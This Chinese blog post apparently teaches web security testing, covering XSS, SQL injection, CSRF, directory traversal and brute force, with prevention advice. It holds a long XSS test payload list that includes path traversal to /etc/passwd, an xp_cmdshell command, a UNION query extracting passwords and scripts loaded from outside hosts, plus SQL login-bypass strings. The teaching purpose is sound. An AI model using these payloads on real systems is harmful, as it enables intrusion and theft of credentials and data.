安全测试

最新推荐文章于 2024-08-23 17:32:59 发布

qq_43358922

最新推荐文章于 2024-08-23 17:32:59 发布

阅读量2.7k

点赞数 2

本文链接：https://blog.csdn.net/qq_43358922/article/details/106093261

版权

本文详细介绍软件安全性测试的关键方面，涵盖用户认证、加密机制、安全防护策略、数据备份、防病毒系统等内容。深入探讨了DDoS攻击、文件上传漏洞、XSS跨站攻击、SQL注入、CSRF等常见安全威胁及其测试方法，提供了预防策略。

摘要由CSDN通过智能技术生成

软件的安全性应从哪几个方面去测试？

(1) 用户认证机制：如数据证书、智能卡、双重认证、安全电子交易协议

(2) 加密机制

(3) 安全防护策略：如安全日志、入侵检测、隔离防护、漏洞扫描

(4) 数据备份与恢复手段：存储设备、存储优化、存储保护、存储管理

(5) 防病毒系统

安全性测试涉及的内容一个完整的WEB安全性测试可以从部署与基础结构、输入验证、身份验证、授权、配置管理、敏感数据、会话管理、加密。参数操作、异常管理、审核和日志记录等几个方面入手。

安全测试主要涉及以下内容：

1、认证与授权

授权：在网站中不同的角色有不同的权限。

认证：一些网页访问需要输入密码进行登录认证。

在认证与授权中要尽可能避免出现漏洞，否则将被不法分子有意地进行利用。

2、Session与Cookie

Session在网络应用中称为“会话控制”，是保存在服务器端的数据或者文件；

cookie是保存在客户端电脑上的文件；

cookie很容易通过某种手段获取到我们的权限以及一些隐私信息；session ID是唯一的标记，一旦别人通过cookie欺骗等手段获取了session ID，可以将其作为协议包发给服务器，从而就拥有了我们的权限。

3、DDOS分布式拒绝服务攻击

分布式拒绝服务攻击（DDOS）指的是借助于客户/服务器技术，将多个计算机联合起来作为攻击平台，对一个或多个目标发动攻击，从而成倍地提高拒绝服务攻击的威力。

通常，攻击者盗用别人的账号将DDOS主控程序安装在一个计算机上，代理程序安装在网络上的许多计算机上，在一个设定的时间，主控程序将与大量代理程序进行通讯。代理程序收到指令就发动攻击，从而占用服务器的资源，无法正常向用户提供服务。

任何事物的发展都是有利有弊的，高速广泛连接的网络也不例外。一方面网络给大家带来了便捷，另一方面也为DDOS攻击创造了极为有利的条件。在低速网络时代时，由于技术的限制，黑客占领攻击用的傀儡机时，总是会优先考虑离目标网络距离近的机器。而在如今网络高速发展、广泛连接的信息化时代，数据传输不再是问题，这使得攻击可以从更远的地方或者其他城市发起，从而作为攻击的傀儡机可以分布在更大的范围，选择起来更灵活了。

被DDOS攻击时的现象：

1）被攻击主机上会有大量等待的TCP连接；

2）网络中充斥着大量的无用的数据包，源地址为假；

3）制造高流量无用数据，造成网络拥塞，使受害主机无法正常和外界通讯；

4）利用受害主机提供的服务或传输协议上的缺陷，反复高速的发出特定的服务请求，使受害主机无法及时处理所有正常请求；

4、文件上传漏洞

文件上传漏洞是指用户上传了一个可执行的脚本文件，并通过此脚本文件获得了执行服务器命令的能力。

大部分的网站和应用系统都具备上传功能，例如用户头像上传，图片上传，文档上传，视频上传等。由于实现文件上传的代码没有严格限制用户上传的文件后缀以及文件类型，导致允许攻击者向某个目录上传任意PHP文件，并能够将这些文件传递给PHP解释器，就可以在远程服务器上执行任意PHP脚本。

当系统存在文件上传漏洞时攻击者可以将病毒，木马，其他恶意脚本或者是包含了脚本的图片上传到服务器，这些文件将对攻击者后续攻击提供便利。根据具体漏洞的差异，此处上传的脚本可以是正常后缀的PHP，ASP以及JSP脚本，也可以是篡改后缀后的这几类脚本。

5、XSS跨站攻击

XSS跨站攻击指的是攻击者利用网站程序对用户输入过滤不足，输入可以显示在页面上对其他用户造成影响的HTML代码，从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。

XSS漏洞是目前为止发现的在所有网站超过80%比例的定制Web应用程序中最常见的漏洞。XSS主要攻击的是用户，例如钓鱼网站获取别的用户的Session ID，通过别人的输入来获取关键信息。

XSS是一种攻击技术，它使得加载在用户的Web浏览器上的网站出现攻击者提供的可执行代码，当黑客利用该存在漏洞的网站作为攻击对象时，用户理所当然的成为受害者。

跨站攻击的类型包含持久型跨站、非持久型跨站、DOM跨站，不同的跨站类型，有不同的跨站特点与区别，但又有跨站之间的相互联系。

存储型XSS，持久化，代码是存储在服务器中的，如在个人信息或发表文章等地方，加入代码，如果没有过滤或过滤不严，那么这些代码将储存到服务器中，用户访问该页面的时候触发代码执行。这种XSS比较危险，容易造成蠕虫，盗窃cookie等。

反射型XSS，非持久化，需要欺骗用户自己去点击链接才能触发XSS代码（服务器中没有这样的页面和内容），一般容易出现在搜索页面。

DOM跨站攻击是最隐蔽型的攻击，也就是说输出内容在源码里面看不到，不是直接输出的。

(1)如何进行XSS测试?

· 首先,找到带有参数传递的URL,如登录页面,搜索页面,提交评论,发表留言页面等等。

· 其次,在页面参数中输入如下语句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)来进行测试：

<scrīpt>alert(document.cookie)</scrīpt>

注:其它的XSS测试语句

><scrīpt>alert(document.cookie)</scrīpt>
='><scrīpt>alert(document.cookie)</scrīpt>
<scrīpt>alert(document.cookie)</scrīpt>
<scrīpt>alert(vulnerable)</scrīpt>
%3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E
<scrīpt>alert('XSS')</scrīpt>
<img src="javascrīpt:alert('XSS')">
%0a%0a<scrīpt>alert(\"Vulnerable\")</scrīpt>.jsp
%22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
%3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html
%3f.jsp
%3f.jsp
<scrīpt>alert('Vulnerable');</scrīpt>
<scrīpt>alert('Vulnerable')</scrīpt>
?sql_debug=1
a%5c.aspx
a.jsp/<scrīpt>alert('Vulnerable')</scrīpt>
a/
a?<scrīpt>alert('Vulnerable')</scrīpt>
"><scrīpt>alert('Vulnerable')</scrīpt>
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
%22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E
%3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E&
%3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
../../../../../../../../etc/passwd
..\..\..\..\..\..\..\..\windows\system.ini
\..\..\..\..\..\..\..\..\windows\system.ini
'';!--"<XSS>=&{()}
<IMG SRC="javascrīpt:alert('XSS');">
<IMG SRC=javascrīpt:alert('XSS')>
<IMG SRC=javascrīpt:alert('XSS')>
<IMG SRC=javascrīpt:alert("XSS")>
<IMG SRC=javascrīpt:alert('XSS')>
<IMG SRC=javascrīpt:alert('XSS')>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="jav ascrīpt:alert('XSS');">
<IMG SRC="jav ascrīpt:alert('XSS');">
<IMG SRC="jav ascrīpt:alert('XSS');">
"<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out
<IMG SRC=" javascrīpt:alert('XSS');">
<scrīpt>a=/XSS/alert(a.source)</scrīpt>
<BODY BACKGROUND="javascrīpt:alert('XSS')">
<BODY ōNLOAD=alert('XSS')>
<IMG DYNSRC="javascrīpt:alert('XSS')">
<IMG LOWSRC="javascrīpt:alert('XSS')">
<BGSOUND SRC="javascrīpt:alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');">
<IMG SRC='vbscrīpt:msgbox("XSS")'>
<IMG SRC="mocha:[code]">
<IMG SRC="livescrīpt:[code]">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');">
<IFRAME SRC=javascrīpt:alert('XSS')></IFRAME>
<FRAMESET><FRAME SRC=javascrīpt:alert('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="javascrīpt:alert('XSS')">
<DIV STYLE="background-image: url(javascrīpt:alert('XSS'))">
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
<STYLE TYPE="text/javascrīpt">alert('XSS');</STYLE>
<STYLE TYPE="text/css">.XSS{background-image:url("javascrīpt:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascrīpt:alert('XSS')")}</STYLE>
<BASE HREF="javascrīpt:alert('XSS');//">
getURL("javascrīpt:alert('XSS')")
a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d);
<XML SRC="javascrīpt:alert('XSS');">
"> <BODY ōNLOAD="a();"><scrīpt>function a(){alert('XSS');}</scrīpt><"
<scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"></scrīpt>
<IMG SRC="javascrīpt:alert('XSS')"

<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
<scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
<scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
<scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
<scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
<scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>

· 最后,当用户浏览时便会弹出一个警告框，内容显示的是浏览者当前的cookie串,这就说明该网站存在XSS漏洞。

· 试想如果我们注入的不是以上这个简单的测试代码，而是一段经常精心设计的恶意脚本，当用户浏览此帖时，cookie信息就可能成功的被攻击者获取。此时浏览者的帐号就很容易被攻击者掌控了。

(2)如何预防XSS漏洞?
从应用程序的角度来讲,要进行以下几项预防:

· 对Javascrīpt,VB scrīpt, HTML,ActiveX, Flash等语句或脚本进行转义.

· 在服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端拒绝进行关键性的处理操作.

从测试人员的角度来讲,要从需求检查和执行测试过程两个阶段来完成XSS检查:

· 在需求检查过程中对各输入项或输出项进行类型、长度以及取值范围进行验证，着重验证是否对HTML或脚本代码进行了转义。

· 执行测试过程中也应对上述项进行检查。

6、SQL注入

通过任何可以输入的地方，向服务器端注入信息，是普遍的攻击方式。

总体来说就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。

具体来说，它是利用现有应用程序，将（恶意）的SQL命令注入到后台数据库引擎执行的能力，它可以通过在Web表单中输入（恶意）SQL语句得到一个存在安全漏洞的网站上的数据库，而不是按照设计者意图去执行SQL语句。

不知道设计者的SQL语句，不知道用户名，密码，采用这种暴力破解，准备足够多的账号信息，不停地进行试验，总可以找到用户名，密码。快速破解需要借助于代码，而不是人工主要采用的方式。

(1)如何进行SQL注入测试?

· 首先找到带有参数传递的URL页面,如搜索页面,登录页面,提交评论页面等等.

注1:对于未明显标识在URL中传递参数的,可以通过查看HTML源代码中的"FORM"标签来辨别是否还有参数传递.在<FORM> 和</FORM>的标签中间的每一个参数传递都有可能被利用.

<div>

<a href="/search/" class="fl">Gamefinder</a>

</div>

</form>

注 2:当你找不到有输入行为的页面时,可以尝试找一些带有某些参数的特殊的URL,如HTTP://DOMAIN/INDEX.ASP?ID=10

· 其次,在URL参数或表单中加入某些特殊的SQL语句或SQL片断,如在登录页面的URL中输入HTTP://DOMAIN /INDEX.ASP?USERNAME=HI' OR 1=1--

注1：根据实际情况,SQL注入请求可以使用以下语句:

' or 1=1- -

" or 1=1- -

or 1=1- -

' or 'a'='a

" or "a"="a

') or ('a'='a
注2：为什么是OR，以及',――是特殊的字符呢？

例子：在登录时进行身份验证时，通常使用如下语句来进行验证：sql=select * from user where username='username' and pwd='password'

如输入http://duck/index.asp?username=admin' or 1='1&pwd=11，SQL语句会变成以下：sql=select * from user where username='admin' or 1='1' and password='11'

' 与admin前面的'组成了一个查询条件,即username='admin',接下来的语句将按下一个查询条件来执行.

接下来是OR查询条件,OR是一个逻辑运算符，在判断多个条件的时候，只要一个成立，则等式就成立，后面的AND就不再时行判断了，也就是说我们绕过了密码验证，我们只用用户名就可以登录.

如输入http://duck/index.asp?username=admin'--&pwd=11，SQL语句会变成以下sql=select * from user where name='admin' --' and pasword='11',

'与admin前面的'组成了一个查询条件,即username='admin',接下来的语句将按下一个查询条件来执行
接下来是"--"查询条件,“--”是忽略或注释,上述通过连接符注释掉后面的密码验证(注:对ACCESS数据库无效).

· 最后,验证是否能入侵成功或是出错的信息是否包含关于数据库服务器 的相关信息;如果能说明存在SQL安全漏洞.

· 试想,如果网站存在SQL注入的危险,对于有经验的恶意用户还可能猜出数据库表和表结构,并对数据库表进行增\删\改的操作,这样造成的后果是非常严重的.

(2)如何预防SQL注入?

从应用程序的角度来讲,我们要做以下三项工作:

· 转义敏感字符及字符串(SQL的敏感字符包括“exec”,”xp_”,”sp_”,”declare”,”Union”,”cmd”,”+”,”//”,”..”,”;”,”‘”,”--”,”%”,”0x”,”><=!-*/()|”,和”空格”).

· 屏蔽出错信息：阻止攻击者知道攻击的结果

· 在服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端拒绝进行关键性的处理操作.

从测试人员的角度来讲,在程序开发前(即需求阶段),我们就应该有意识的将安全性检查应用到需求测试中,例如对一个表单需求进行检查时,我们一般检验以下几项安全性问题:

· 需求中应说明表单中某一FIELD的类型,长度,以及取值范围(主要作用就是禁止输入敏感字符)

· 需求中应说明如果超出表单规定的类型,长度,以及取值范围的,应用程序应给出不包含任何代码或数据库信息的错误提示.

当然在执行测试的过程中,我们也需求对上述两项内容进行测试.

解决方案
绑定变量，使用预编译语句
使用预编译语法，可以使SQL语句和变量绑定。预编译语句强制了开发人员首先定义SQL语句，然后对每个参数传递用户数据，以此分离数据与代码。
检查变量数据类型和格式
如果你的SQL语句是类似where id={$id}这种形式，数据库里所有的id都是数字，那么就应该在SQL被执行前，检查确保变量id是int类型；如果是接受邮箱，那就应该检查并严格确保变量一定是邮箱的格式，其他的类型比如日期、时间等也是一个道理。总结起来：只要是有固定格式的变量，在SQL语句执行前，应该严格按照固定格式去检查，确保变量是我们预想的格式，这样很大程度上可以避免SQL注入攻击。
过滤特殊符号
对于无法确定固定格式的变量，一定要进行特殊符号过滤或转义处理。以PHP为例，通常是采用addslashes函数，它会在指定的预定义字符前添加反斜杠转义，这些预定义的字符是：单引号 (‘) 双引号 (“) 反斜杠 () NULL。
————————————————

7、跨站请求伪造（CSRF）

跨站请求伪造（CSRF）指的是攻击者控制受害者的计算机，强迫受害者的浏览器向一个易受攻击的Web应用程序发送请求，最后达到攻击者所需要的操作行为。恶意请求会带上浏览器的Cookie，受攻击的Web应用信任浏览器的Cookie。

7.1.CSRF:(跨站点伪造请求)
    CSRF尽管听起来像跨站脚本（XSS），但它与XSS非常不同，并且攻击方式几乎相左。
    XSS是利用站点内的信任用户，而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。
    XSS也好，CSRF也好，它的目的在于窃取用户的信息，如SESSION 和 COOKIES（关于SESSION 和COOKIES的介绍请参见我的另一篇BLOG：http://www.51testing.com/?49689/action_viewspace_itemid_74885.html），
   (1)如何进行CSRF测试？
    关于这个主题本人也正在研究，目前主要通过安全性测试工具来进行检查。
   (2)如何预防CSRF漏洞？

· 请参见http://www.hanguofeng.cn/archives/security/preventing-csrf

· 请参见http://getahead.org/blog/joe/2007/01/01/csrf_attacks_or_how_to_avoid_exposing_your_gmail_contacts.html

CSRF请求伪造
CSRF攻击就是攻击者利用受害者的身份，以受害者的名义发送恶意请求。与XSS（Cross-site scripting，跨站脚本攻击）不同的是，XSS的目的是获取用户的身份信息，攻击者窃取到的是用户的身份（session/cookie），而CSRF则是利用用户当前的身份去做一些未经过授权的操作。

危害
CSRF可以盗用受害者的身份，完成受害者在web浏览器有权限进行的任何操作，想想吧，能做的事情太多了。

以你的名义发送诈骗邮件，消息
用你的账号购买商品
用你的名义完成虚拟货币转账
泄露个人隐私
发生CSRF的场景如下：

用户小明在你的网站A上面登录了，A返回了一个session ID（使用cookie存储）
小明的浏览器保持着在A网站的登录状态，事实上几乎所有的网站都是这样做的，一般至少是用户关闭浏览器之前用户的会话是不会结束的
攻击者小强给小明发送了一个链接地址，小明打开了这个地址，查看了网页的内容
小明在打开这个地址的时候，这个页面已经自动的对网站A发送了一个请求，这时候因为A网站没有退出，因此只要请求的地址是A的就会携带A的cookie信息，也就是使用A与小明之间的会话
这时候A网站不知道这个请求其实是小强伪造的网页上发送的，而是误以为小明就是要这样操作，这样小强就可以随意的更改小明在A上的信息，以小明的身份在A网站上进行操作
利用CSRF攻击，主要包含两种方式，一种是基于GET请求方式的利用，另一种是基于POST请求方式的利用。

使用GET请求方式的利用是最简单的一种利用方式，其隐患的来源主要是由于在开发系统的时候没有按照HTTP动词的正确使用方式来使用造成的。对于GET请求来说，它所发起的请求应该是只读的，不允许对网站的任何内容进行修改。
相对于GET方式的利用，POST方式的利用更加复杂一些，难度也大了一些。攻击者需要伪造一个能够自动提交的表单来发送POST请求。
解决方案
漏洞本质原因是重要操作的所有参数都被攻击者猜测到
使用CSRF Token去防御：
Token的生成一定要足够随机，需要使用安全的随机数生成器生成Token
Token和Session绑定，用户A的Token只能用于A用户的Session
Token应该有生命周期，需要有超时机制
所有敏感的操作，比如收货地址修改、修改密码、修改个人资料，都使用POST方式
重要操作做二次认证，如短信认证，二次密码认证，验证码等，或CSRF TOKEN防范
————————————————

8.Email Header Injection(邮件标头注入)
Email Header Injection：如果表单用于发送email,表单中可能包括“subject”输入项（邮件标题），我们要验证subject中应能escape掉“\n”标识。

· 因为“\n”是新行，如果在subject中输入“hello\ncc:spamvictim@example.com”，可能会形成以下

Subject: hello

cc: spamvictim@example.com

· 如果允许用户使用这样的subject，那他可能会给利用这个缺陷通过我们的平台给其它用户发送垃圾邮件。

9.Directory Traversal(目录遍历)
（1）如何进行目录遍历测试？

· 目录遍历产生的原因是：程序中没有过滤用户输入的“../”和“./”之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。

· 测试方法：在URL中输入一定数量的“../”和“./”，验证系统是否ESCAPE掉了这些目录跳转符。

（2）如何预防目录遍历？

· 限制Web应用在服务器上的运行

· 进行严格的输入验证，控制用户输入非法路径

10.exposed error messages(错误信息)
（1）如何进行测试？

· 首先找到一些错误页面，比如404,或500页面。

· 验证在调试未开通过的情况下，是否给出了友好的错误提示信息比如“你访问的页面不存在”等，而并非曝露一些程序代码。

（2）如何预防？

· 测试人员在进行需求检查时，应该对出错信息进行详细查，比如是否给出了出错信息，是否给出了正确的出错信息。

11 暴力破解/重放攻击
暴力破解
用户名枚举
账号登录
优惠券序列号
短信验证码
密码修改
顾名思义，暴力破解的原理就是使用攻击者自己的用户名和密码字典，一个一个去枚举，尝试是否能够登录。因为理论上来说，只要字典足够庞大，枚举总是能够成功的！

重放攻击
短信轰炸
邮箱轰炸
无限点赞
重复领取奖励
注册

解决方案
限制请求的间隔时长。比如: 30 秒后, 才能进行第二次登录的请求
请求锁定。一旦用户请求次数（包括失败请求次数）超过设定的阈值，则在一段时间内拒绝对该IP用户发过来的验证请求
恶意文件上传
在许多场景中，提供了用户上传文件的功能，如上传身份证，用户头像等。
如果用户上传的图片的过程中，上传了涉及色情违法相关的图片，系统不能及时将图片识别并禁止，将造成不可预估的严重后果。
若在用户上传文件时，服务器没有对用户上传的文件进行验证，就可能会导致恶意文件被上传。
解决方案
在服务端，对上传文件的后缀名进行校验，只允许用户上传安全的文件名。
对上传文件音频、视频、图片分析识别，禁止黄赌毒在系统内的存留。
————————————————

===============================================================

二、安全测试类型详解

1、认证与授权

尽量避免未被授权的页面可以直接访问，应该对每个页面都有一个session变量的判断。如果没有判断只要用户知道URL地址就能进行访问。

测试方法：在不登陆的情况下，使用绝对URL地址对页面进行访问，能否正常访问，绝对URL地址直接通过httpwatch对每个请求进行获取。

2、session与cookie

避免保存敏感信息到cookie文件中，cookie的保存可以提高用户的体验。

作用域：

Set-Cookie：PHPSESSIONID= ;pash=/相对于根目录而言的，如C：\xampp\htdocs就是根目录，agileone保存的信息是在phpwind是能读取到的，相互之间是同样的作用域，两个系统可以交叉读取cookie信息。

解决办法是：不同的应用系统不同的作用域，如将agileone和phpwind两个应用配置在不同的作用域当中：即可修改代码path=/agileone，path=/phpwind.

3、DDOS拒绝服务攻击

（1）分布式的拒绝服务式攻击（攻击服务器的电脑分布在不同地方向服务器发送请求）的两种方式

1）使用肉机

通过设置木马让很多电脑受远程控制，帮忙执行病毒程序，服务器防火墙无法通过封锁IP的方式进行处理，唯一的解决办法就是服务器够强大；

2）形成攻击联盟

很多人联合起来对同一个网站发起攻击，对网站流量形成一定压力，对同一网站造成伤害。

---------------------------------

一、安全测试的验证点

一个系统的安全验证点包括上传功能、注册功能/登陆功能、验证码功能、密码、敏感信息泄露、越权测试、错误信息、session等。

1、上传功能

上传中断，程序是否有判断上传是否成功
上传与服务器端语言（jsp/asp/php）一样扩展名的文件或exe等可执行文件后，确认在服务器端是否可直接运行

2、注册功能/登陆功能

请求是否安全传输
重复注册／登陆
关键cookie是否httponly
会话固定：利用session的不变机制，获取他人认证和授权，然后冒充

3 、验证码功能

短信轰炸
验证码一次性

4、忘记密码

通过手机号／邮箱找回
程序设计不合理，导致可以绕过短信验证码，从而进行修改（使用burpsuite抓包，修改响应值true）

5 、敏感信息泄漏

数据库／日志／提示

6 、越权测试

不登陆系统，直接输入下载文件的URL是否可以下载／直接输入登录后页面的URL是否可以访问
手动更改URL中的参数值能否访问没有权限访问的页面
不同用户之间session共享，可以非法操做对方的数据

7 、错误信息

错误信息中释放含有sql语句，错误信息以及web服务器的绝对路径

8、 Session

退出登陆后，点击后退按钮是否能访问之前的页面

主要归结为以下几点：（后期可以优化成一个安全测试的框架结构）

部署与基础结构
输入验证
身份验证
授权
配置管理
敏感数据
会话管理
加密
参数操作
异常管理
审核和日志安全，

二、结合实际情况（现有系统）发现的问题

1、日志/提示

在系统的初期，一般比较容易发现的问题就是在进行一些错误或者反向测试时，在页面的提示中会出现带有明显的数据库的表或者字段的打印，或者会出现一些敏感词，日志里面类似密码，卡号，身份证号没有相应的明密文转换，而这些敏感词/明密文不互转的存在，就会导致攻击者能够获取到，从而进行简单粗暴的攻击，轻易的攻击服务器或者数据库，这就会危害到整个系统！

2、重复性

大部分的web网站都会有注册功能，而类似我们负责支付这块也都会有开户，就注册跟开户，基本上需求上都会有唯一性的校验，在前端就会进行拦截，但如果使用jmter进行参数以及参数值的新增，有可能新增成功，就会导致页面系统里面会出现相同数据，可能导致整个功能的出错。

3、次数限制

类似发单，登录或者短信，如果没有进行相应的限制，如短信，没有进行限制次数，攻击者就会通过短信轰炸，攻击系统，导致系统瘫痪，其他客户就会使用不了该系统。

4、越权测试

（基本上大部分系统都没有明确的写出越权方面的需求）一个web系统，一般地址栏都会有参数的带入，如：用户号，订单号或者是其他的一些参数，而在这个基础上一个系统都会有很多用户，或者很多等级，如：A大于B大于C，那我使用C用户进行登录，查看C用户所属的订单，在地址栏中会有订单号的参数带入，如果系统没有进行相应的限制，此时C用户就可以修改订单号从而可以看到B乃至A用户的数据，这就可能导致数据的泄露，再者，如果可以修改用户的用户号，没有做处理，这样就可以对所有数据进行操作，整个系统就乱了，影响很大。

5、SQL注入/XSS攻击

主要是输入框的校验/拦截以及是否转义，如果没有系统没有对输入的内容进行处理，那攻击者就可以输入一段SQL语句，或者一段代码，在后台进入到相应的功能，就会导致整个功能是错乱的，其他正常用户所提交的数据也查看操作不了，或者提交的代码是死循环（">），就会关闭不掉，所以这点是非常重要的。

基本上上述的五点都是在测试中，系统真实存在，发生的问题，还有其他问题就不一一例举了，其中越权跟SQL注入以及XSS攻击都是重中之重！

三、克服的小困难

上面所述的都是需要人工进行手动参与，且人力操作时不会那么饱满全面，所以这是一个遇到的小问题。现在有一个针对web系统进行漏洞扫描的工具:AWVS，它通过网络爬虫测试你的网站安全，检测流行安全漏洞，针对漏洞主要分为四个等级：高危、中危，低危以及优化，它会进行内外链接的安全性，文件是否存在以及传输是否安全，也包含SQL注入跟XSS攻击，输入地址，用户名密码后，进行扫描完成后会展示相应的数据：漏洞的数量，漏洞的描述，建议性的修复；扫描网站的时长，文件数据量，环境信息等，较为全面！